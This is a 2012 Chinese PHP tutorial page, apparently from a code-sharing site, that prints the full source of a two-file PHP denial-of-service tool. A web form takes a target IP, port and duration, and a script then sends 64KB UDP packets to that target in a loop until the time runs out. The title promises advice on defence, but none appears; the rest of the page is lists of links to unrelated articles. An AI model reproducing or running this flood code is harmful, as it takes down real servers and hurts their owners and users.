php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
php5 pdo新改动加载注意事项
Sep 11 PHP
非常好用的两个PHP函数 serialize()和unserialize()
Feb 04 PHP
php生成缩略图填充白边(等比缩略图方案)
Dec 25 PHP
destoon设置自定义搜索的方法
Jun 21 PHP
PHP实现生成透明背景的PNG缩略图函数分享
Jul 08 PHP
php更新mysql后获取改变行数的方法
Dec 25 PHP
PHP获取QQ达人QQ信息的方法
Mar 05 PHP
PHP模拟asp.net的StringBuilder类实现方法
Aug 08 PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 PHP
php微信浏览器分享设置以及回调详解
Aug 01 PHP
laravel高级的Join语法详解以及使用Join多个条件
Oct 16 PHP
Laravel 实现Controller向blade前台模板赋值的四种方式小结
Oct 22 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
PHP 遍历XP文件夹下所有文件
2008/11/27 PHP
解析php中mysql_connect与mysql_pconncet的区别详解
2013/05/15 PHP
php通过curl模拟登陆DZ论坛
2015/05/11 PHP
laravel实现登录时监听事件,添加登录用户的记录方法
2019/09/30 PHP
JavaScript 题型问答有答案参考
2010/02/17 Javascript
jquery之empty()与remove()区别说明
2010/09/10 Javascript
基于jQuery的获得各种控件Value的方法
2010/11/19 Javascript
javascript window.open打开新窗口后无法再次打开该窗口问题的解决方法
2014/04/12 Javascript
AngularJS基础学习笔记之控制器
2015/05/10 Javascript
JavaScript中用sort()方法对数组元素进行排序的操作
2015/06/09 Javascript
jQuery结合AJAX之在页面滚动时从服务器加载数据
2015/06/30 Javascript
基于canvas实现的钟摆效果完整实例
2016/01/26 Javascript
JavaScript代码生成PDF文件的方法
2016/02/26 Javascript
JavaScript学习笔记之数组的增、删、改、查
2016/03/23 Javascript
js操作数据库实现注册和登陆的简单实例
2016/05/26 Javascript
全面解析Bootstrap中tooltip、popover的使用方法
2016/06/13 Javascript
AngularJs  E2E Testing 详解
2016/09/02 Javascript
bootstrap css样式之表单
2017/01/19 Javascript
bootstrap中的 form表单属性role=&quot;form&quot;的作用详解
2017/01/20 Javascript
微信小程序利用Canvas绘制图片和竖排文字详解
2019/06/25 Javascript
Vue快速实现通用表单验证的示例代码
2020/01/09 Javascript
vue.js 解决v-model让select默认选中不生效的问题
2020/07/28 Javascript
解决vue项目 build之后资源文件找不到的问题
2020/09/12 Javascript
python使用cStringIO实现临时内存文件访问的方法
2015/03/26 Python
Python的多维空数组赋值方法
2018/04/13 Python
pandas.DataFrame选取/排除特定行的方法
2018/07/03 Python
如何利用python制作时间戳转换工具详解
2018/09/12 Python
python提取包含关键字的整行数据方法
2018/12/11 Python
pandas 把数据写入txt文件每行固定写入一定数量的值方法
2018/12/28 Python
用python实现一个简单计算器(完整DEMO)
2020/10/14 Python
python 邮件检测工具mmpi的使用
2021/01/04 Python
悦木之源美国官网:Origins美国
2016/08/01 全球购物
百思买加拿大:Best Buy Canada
2018/03/20 全球购物
潘多拉珠宝美国官方网站:Pandora US
2020/06/18 全球购物
教师自荐信
2013/12/10 职场文书
微信小程序实现轮播图指示器
2022/06/25 Javascript